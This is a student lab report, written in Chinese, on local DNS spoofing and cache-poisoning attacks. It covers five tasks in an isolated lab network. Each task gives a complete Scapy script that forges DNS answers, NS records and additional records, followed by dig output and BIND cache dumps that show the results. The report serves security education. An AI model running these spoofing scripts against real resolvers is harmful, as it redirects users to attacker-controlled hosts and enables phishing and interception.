Lab5 Local DNS Attack

Task 1: Directly Spoofing Response to User

1. 编写攻击程序task1.py，代码如下：

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='1.2.3.5') # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1,
ancount=1, an=Anssec)  # Create a DNS object
                spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src host 10.9.0.5 and dst port 53" # Set the filter
pkt=sniff(iface='br-c352c0358ed3', filter=myFilter, prn=spoof_dns)
```

2. 攻击前，受害者输入命令dig www.example.com，结果如下：

```
root@e14df864cf0b:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10833
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: ebb10e6814b1e8a40100000060fb862264f13f0ac47f500e (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 4176 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 03:16:50 UTC 2021
;; MSG SIZE  rcvd: 88
```

可见遭受攻击前受害者能够查询到正确的www.example.com的IP地址。

3. 攻击者运行攻击程序，受害者输入命令dig www.example.com，结果如下：

```
root@VM:/volumes# task1.py
 10.9.0.5 --> 10.9.0.53: 10686
.
Sent 1 packets.

root@e14df864cf0b:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10686
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 68 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 02:54:40 UTC 2021
;; MSG SIZE  rcvd: 64
```

可见受害者获得的www.example.com的IP地址是攻击者所提供的错误地址，DNS欺骗攻击成功。

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

1. 编写攻击程序task2.py，代码如下：

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='1.2.3.5') # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1,
ancount=1, an=Anssec)  # Create a DNS object
                spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-c352c0358ed3', filter=myFilter, prn=spoof_dns)
```

2. 在本地DNS服务器中使用命令rndc flush刷新DNS缓存，攻击者运行攻击程序，受害者输入命令dig www.example.com，结果如下：

```
^Croot@VM:/volumes# task2.py
 10.9.0.53 --> 192.35.51.30: 58359
.
Sent 1 packets.
 10.9.0.53 --> 192.48.79.30: 63030
.
Sent 1 packets.
```

可见受害者获得的www.example.com的IP地址是攻击者所提供的错误地址。

```
root@e14df864cf0b:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39951
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: cab827252297c0100100000060fb920fdd1763ab06b75e20 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 416 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 04:07:43 UTC 2021
;; MSG SIZE  rcvd: 88
```

3. 在本地DNS服务器使用命令rndc dumpdb -cache和cat /var/cache/bind/dump.db | grep www.example.com查看DNS缓存，结果如下：

```
root@4daafb0e40bc:/# rndc dumpdb -cache
root@4daafb0e40bc:/# cat /var/cache/bind/dump.db | grep www.example.com
www.example.com.      _  863568  A       1.2.3.5
```

可见，DNS缓存中毒攻击成功。

Task 3: Spoofing NS Records

1. 编写攻击程序task3.py，代码如下：

```
#!/usr/bin/env python3

from scapy.all import *

import sys

NS_NAME = "example.com"

def spoof_dns(pkt):
```

```
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
        udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
        NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200,
rdata='ns.attacker32.com')
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='1.2.3.5') # Create an aswer record
        dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1,
ancount=1, an=Anssec,nscount=1, ns=NSsec)  # Create a DNS object
        spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-c352c0358ed3', filter=myFilter, prn=spoof_dns)
```

2. 在本地DNS服务器中使用命令rndc flush刷新DNS缓存，攻击者运行攻击程序，受害者输入命令dig www.example.com，结果如下：

```
root@e14df864cf0b:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29103
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7cf9c82405e695bc0100000060fb9603ebd213d27c6404a2 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259146  IN      A       1.2.3.5

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 04:24:35 UTC 2021
;; MSG SIZE  rcvd: 88
```

3. 受害者输入命令dig mail.example.com，结果如下：

```
root@e14df864cf0b:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13818
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 346c1fce375882bd0100000060fb969ec215988f8b3f006e (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 04:27:10 UTC 2021
;; MSG SIZE  rcvd: 89
```

可见得到的IP地址均是错误的。

4. 在本地DNS服务器使用命令rndc dumpdb -cache和cat /var/cache/bind/dump.db | grep .example.com查看DNS缓存，结果如下：

```
root@4daafb0e40bc:/# cat /var/cache/bind/dump.db | grep .example.com
_.example.com.          863614  A       1.2.3.5
hello.example.com.      863872  A       1.2.3.6
mail.example.com.       863823  A       1.2.3.6
seu.example.com.        863774  A       1.2.3.6
www.example.com.        863614  A       1.2.3.5
```

可见DNS欺骗攻击成功。

Task 4: Spoofing NS Records for Another Domain

1. 编写攻击程序task4.py，代码如下：

```
#!/usr/bin/env python3

from scapy.all import *
```

```
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
                NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200,
rdata='ns.attacker32.com')
                NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200,
rdata='ns.attacker32.com')
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
rdata='1.2.3.5') # Create an aswer record
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, qdcount=1,
ancount=1, an=Anssec,nscount=2, ns=NSsec1/NSsec2)  # Create a DNS object
                spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-c352c0358ed3', filter=myFilter, prn=spoof_dns)
```

2. 在本地DNS服务器中使用命令rndc flush刷新DNS缓存，攻击者运行攻击程序，受害者输入命令dig www.example.com，结果如下：

```
root@VM:/volumes# task4.py
 10.9.0.53 --> 192.26.92.30: 58931
.
Sent 1 packets.
 10.9.0.53 --> 10.9.0.153: 55061
.
Sent 1 packets.
```

```
root@e14df864cf0b:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10399
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4c31003dd922f9070100000060fb9886c5b507bb501478bc (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 1288 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 04:35:18 UTC 2021
;; MSG SIZE  rcvd: 88
```

3. 受害者输入命令dig www.google.com，结果如下：

```
root@e14df864cf0b:/# dig www.google.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27835
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0bf84b55616bf5840100000060fb99a8b7430aebeef8c953 (good)
;; QUESTION SECTION:
;www.google.com.                        IN      A

;; ANSWER SECTION:
www.google.com.         66      IN      A       185.45.7.189

;; Query time: 1112 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 04:40:08 UTC 2021
;; MSG SIZE  rcvd: 87
```

4. 在本地DNS服务器使用命令rndc dumpdb -cache和cat /var/cache/bind/dump.db | grep google.com查看DNS缓存，结果如下：

```
root@4daafb0e40bc:/# rndc dumpdb -cache
root@4daafb0e40bc:/# cat /var/cache/bind/dump.db | grep google.com
google.com.             777504  NS      ns1.google.com.
                        777504  NS      ns2.google.com.
                        777504  NS      ns3.google.com.
                        777504  NS      ns4.google.com.
ns1.google.com.         777504  A       216.239.32.10
ns2.google.com.         777504  A       216.239.34.10
ns3.google.com.         777504  A       216.239.36.10
ns4.google.com.         777504  A       216.239.38.10
www.google.com.         604770  A       185.45.7.189
```

可见对于google.com的DNS欺骗失败了。

Task 5: Spoofing Records in the Additional Section

1. 编写攻击程序task5.py，代码如下：

```
#!/usr/bin/env python3
from scapy.all import *
import sys
NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
                ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) # Create an IP object
                udp = UDP(dport=pkt[UDP].sport, sport=53) # Create a UPD object
                NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200,
rdata='ns.attacker32.com')
                NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200,
rdata='ns.example.com')
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
```

```
rdata='1.2.3.5') # Create an aswer record
                Addsec1 = DNSRR(rrname='ns.attatcker32.com', type='A',
ttl=259200,
rdata='1.2.3.4')
                Addsec2 = DNSRR(rrname='ns.example.com', type='A', ttl=259200,
rdata='5.6.7.8')
                Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
ttl=259200,
rdata='3.4.5.6')
                dns = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
qdcount=1,
ancount=1, nscount=2, arcount=3, an=Anssec, ns=NSsec1/NSsec2,
 ar=Addsec1/Addsec2/Addsec3)
                spoofpkt = ip/udp/dns  # Assemble the spoofed DNS packet
                send(spoofpkt)
myFilter = "udp and src host 10.9.0.53 and dst port 53" # Set the filter
pkt=sniff(iface='br-c352c0358ed3', filter=myFilter, prn=spoof_dns)
```

2. 在本地DNS服务器中使用命令rndc flush刷新DNS缓存，攻击者运行攻击程序，受害者输入命令dig www.example.com，结果如下：

```
root@VM:/volumes# task5.py
 10.9.0.53 --> 192.41.162.30: 5687
.
Sent 1 packets.
 10.9.0.53 --> 10.9.0.153: 7456
.
Sent 1 packets.
```

```
root@e14df864cf0b:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55534
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 076acdbb590ccbd00100000060fb9c45c84414172e1d64d5 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 1168 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 04:51:17 UTC 2021
;; MSG SIZE  rcvd: 88
```

3. 受害者输入命令dig mail.google.com，结果如下：

```
root@e14df864cf0b:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56442
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 2d74b3aa0ba302fe0100000060fb9c5569bca6f0bab0f0b2 (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 12 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 04:51:33 UTC 2021
;; MSG SIZE  rcvd: 89
```

4. 受害者输入命令dig www.facebook.com，结果如下：

```
root@e14df864cf0b:/# dig www.facebook.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51536
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f63515c1927bc70b0100000060fb9deda039c5c2d469ca03 (good)
;; QUESTION SECTION:
;www.facebook.com.              IN      A

;; ANSWER SECTION:
www.facebook.com.       193     IN      A       173.244.209.150

;; Query time: 456 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 04:58:21 UTC 2021
;; MSG SIZE  rcvd: 89
```

5. 在本地DNS服务器使用命令rndc dumpdb -cache和cat /var/cache/bind/dump.db | grep .com查看DNS缓存，结果如下：

```
root@4daafb0e40bc:/# rndc dumpdb -cache
root@4daafb0e40bc:/# cat /var/cache/bind/dump.db | grep .com
ns.attacker32.com.      615580  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800
7200 2419200 86400
example.com.            777560  NS      ns.attacker32.com.
                                        20210730041620 20210723030620 39343 com.
mail.example.com.       863980  A       1.2.3.6
www.example.com.        863964  A       1.2.3.5
_.facebook.com.         604918  A       31.13.91.6
www.facebook.com.       604976  A       173.244.209.150
; ns.attacker32.com [v4 TTL 1780] [v6 TTL 10780] [v4 success] [v6 nxrrset]
; Dump complete
```